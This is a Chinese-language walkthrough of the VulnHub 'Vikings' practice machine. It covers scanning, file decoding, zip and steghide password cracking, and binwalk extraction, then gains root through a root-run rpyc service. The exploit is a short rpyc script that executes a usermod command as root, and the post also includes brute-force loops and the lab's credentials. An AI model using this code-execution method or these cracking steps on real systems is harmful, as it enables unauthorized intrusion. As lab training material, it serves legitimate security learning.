第九台靶机

第九台靶机

靶机地址:https://download.vulnhub.com/vikings/Vikings.ova

难度等级:

打靶目标:取得 root 权限 + 2 Flag

攻击方法:

  • 主机发现
  • 端口扫描
  • WEB信息收集
  • 编码转化/文件还原
  • 离线密码破解
  • 隐写术
  • 二进制文件提取
  • 素数查找/科拉茨猜想
  • Python代码编写
  • RPC漏洞提权

主机发现

sudo arp-scan -l

image-20211210110157487

端口扫描

sudo nmap -p- 10.0.2.10

image-20211210110835070

发现就开放了22和80端口

sudo nmap -p22,80 -sV -sC 10.0.2.10

image-20211210111019109

WEB信息收集

我们在对服务扫描的时候还发现了site路径,通过浏览器访问一下

image-20211210111145763

这个site的加载页面极度缓慢

image-20211210111604376

通过查看页面源码发现其引入了google等国外网站的脚本文件,才导致了加载如此缓慢

image-20211210111944027

在这个页面上没有可利用的地方,使用目录扫描

gobuster dir -r -u http://10.0.2.10 -x txt,html,php -w /usr/share/seclists/Discovery/Web-Content/common.txt 

image-20211210144657465

在这个目标站点的根目录下没有发现可利用的点,但是我们还有site路径下没有扫描了

image-20211210145003359

我们发现了war.txt的文件

编码转化/文件还原

image-20211210145114118

这个类似是路径,我们来访问一下

image-20211210145231047

这些类型base64编码的内容,使用CyberChef进行解码

http://icyberchef.com/

解码之后好像还有问题

image-20211210145554376

我们在最开头发现又PK文件头,PK开头的文件一般都是打包的文件或者压缩过的文件

我们在导入Entropy商这个模块,在加解密中有个商的概念,商本来是一个热力学的概率,但是现在广泛应用到宇宙学的研究和计算机信息的研究中,如果是压缩过的数据或者加密过的数据,这个商的值会非常接近8这个最大值,如果超过7.5基本上就可以认为这个文件是由人类生成无序的内容

image-20211210150339602

这个文件是加密的还是经过压缩的,如果是经过加密,那到底是使用了什么加密算法,如果是经过压缩的是用的什么压缩的方式,这时候就要用到Detect File Type这个模块了,来进行检测,发现其真实的文件格式是什么?

image-20211210151543206

发现其实zip压缩格式,那我们就可以将其保存为zip格式的文件

image-20211210151913887

离线密码破解

在解压,发现有密码

image-20211210151947626

爆破密码,使用john进行破解,先将其转换为hash

zip2john a.zip > hash

准备好字典,我这里使用kali自带的rockyou字典其目录在/usr/share/wordlists/rockyou.txt

开始破解

john hash --wordlist=rockyou.txt

image-20211210152833948

破解得到密码为ragnarok123,都有密码了就可以开始解压刚刚得到的压缩文件了

image-20211210153045644

隐写术

解压得到了一张名为king的文件

image-20211210153131301

看到图片,我们就可以联想到隐写术,我看可以使用steghide这款工具进行探测,发现其是否有隐藏起来的数据,如果有隐藏起来的数据还可以对数据进行提取

steghide info king

image-20211210153656903

好家伙,还套娃了,这里面还有再输入一个密码,才可以得到里面的数据

又要进行爆破了,shell脚本进行破解

这里不推荐使用这种方法,当我们遇到小一点的字典倒是可以使用这个方法

for i in $(cat "rockyou.txt"); do steghide extract king -p $i; done

二进制文件提取

换个方法,我们可以使用二进制编辑的方式,直接将隐写了的数据提取出来

使用binwalk对数据进行分析一波

binwalk -B king

image-20211210155508494

这个文件中有JPEG的图片文件就是我们看到的那一种图片,还发现有Zip的压缩文件,经过压缩的大小是53,解压后是92,压缩文件里面还藏着一个名字叫user的文件

使用binwalk对数据进行提取

binwalk -e king

image-20211210155800211

image-20211210155810260

image-20211210155822806

image-20211210155947375

查看一些user的格式

image-20211210160014858

发现其实明文的文本文件,既然是文本文件那我们直接查看一下其中的内容呗

cat user

image-20211210160141214

这个有点像ssh的登陆账号和密码

//FamousBoatbuilder_floki@vikings                                     //f@m0usboatbuilde7 

尝试登陆一波

image-20211210160359929

经过翻译发现,英语不好见谅呀

image-20211210160612586

前面是形容词,后面才是指人的名字,是不是我们直接用名字作为账号登陆一波试试看

image-20211210160825138

惊喜,居然成功了

image-20211210160940465

例行惯例,查看一下用户账号

image-20211210161031507

我们在这里发现了一个新的账号,我们该如何切换账号了?

尝试直接su ragnar

image-20211210161219889

那我们可以直接sudo 成一个root账号吗?

sudo -s

image-20211210161404074

警告我们说,我们并不是sudo组的成员,没有运行sudo命令的权限,看来当前用户权限非常的低

image-20211210161600912

素数查找/科拉茨猜想

当前目录下的发现有提示

image-20211210161710661

提示我们看boat这个文件

file boat

image-20211210161843044

也是一个明文的text文件

image-20211210161914965

image-20211210162005378

并且还给一段伪代码

第一句代码的意思是num等于第29个素数,然后对这个素数进行科拉茨猜想

https://tech.sina.com.cn/roll/2019-12-15/doc-iihnzhfz5997311.shtml

image-20211210162539162

Python代码编写

使用python脚本得到第29个素数

n=0for x in range(1000000):    if x < 2:        continue    h = int(x/2) +1    for i in range(2,h):        if x % i == 0:            break    else:        n += 1        print(n,":",x)

image-20211210164608550

得到num为109

然后继续科拉茨猜想的计算

i = 109c = [i]while i != 1:    if i % 2 == 1:        i = i * 3+1    else:        i = i // 2    if i < 256:        c.append(i)print(c)

生成得到这份数值,再用cyberchef进行解码

image-20211210170317153

使用Decimal模块最终的结果

image-20211210170619407

还要从这些结果中筛选出可打印的字符,键盘上可以敲出来的字符,再使用strins模块

image-20211210170939659

这里拿到的符号应该就是那个账号的密码了,现在是以每一字符一行显示的,我们在替换一下

image-20211210171210594

得到最终的密码

mR)|>^/Gky[gz=\.F#j5P(

我们用之前获得的账号ragnar试试看

image-20211210171421472

登陆成功了,但是为什么还要继续输入密码了?而且输入的还是sudo的密码,是不是我们登陆后还输入了什么程序?把刚刚得到的密码在输入一次试试看

image-20211210171606873

提示我们说这个账号不是sudo组的成员,linux系统登陆自启动文件有

image-20211210172128198

这两个隐藏的自启动文件,或者设置在全局变量中/etc/profile中

最后发现在.porfile中存在自动执行的文件,并且给出了路径

image-20211210173342289

当前用户ragnar是sh的shell,非常古老且不友好,我们现在来提升一下

/bin/bash -i

image-20211210173601408

查看一下刚刚得到的py脚本

image-20211210173744297

RPC漏洞提权

这是python的rpyc程序

https://rpyc.readthedocs.io/en/latest/tutorial/tut1.html

https://blog.csdn.net/cybeyond_xuan/article/details/86493772

查看这个文件的权限发现

image-20211210174916912

发现这个文件是属于root用户,其他用户都可以运行这个文件,但是其他用户没有修改权限

既然他是服务端开放的一个api接口,我们可以在客户端编写程序代码,通过某些函数提交到服务器端的侦听端口上面,然后让服务器进行执行,服务器是通过root权限执行的,如果我们可以控制这些提交上去的函数使其执行我们的代码,我们就可以获得root权限

import rpycdef shell():    import os    os.system("sudo usermod -a -G sudo ragnar")conn = rpyc.classic.connect("localhost")fn = conn.teleport(shell)fn()

我们把ragnar添加到root组里面,我们就可以拥有sudo权限,有root权限

因为这个服务是开放在18812端口的

image-20211210185221443

其端口是开放的,说明该服务正处于运行阶段

image-20211210185402756

创建exp.py文件

image-20211210185753604

在执行

image-20211210185857166

如果成功下次再登陆靶机就拥有sudo权限了,开始第二次登陆

image-20211210190352764

成功拿到root权限

image-20211210190536169

获得第一个flag

image-20211210190611717

获得第二个flag

posted @ 2021-12-10 19:13  甘雨小可爱!  阅读(205)  评论(0)    收藏  举报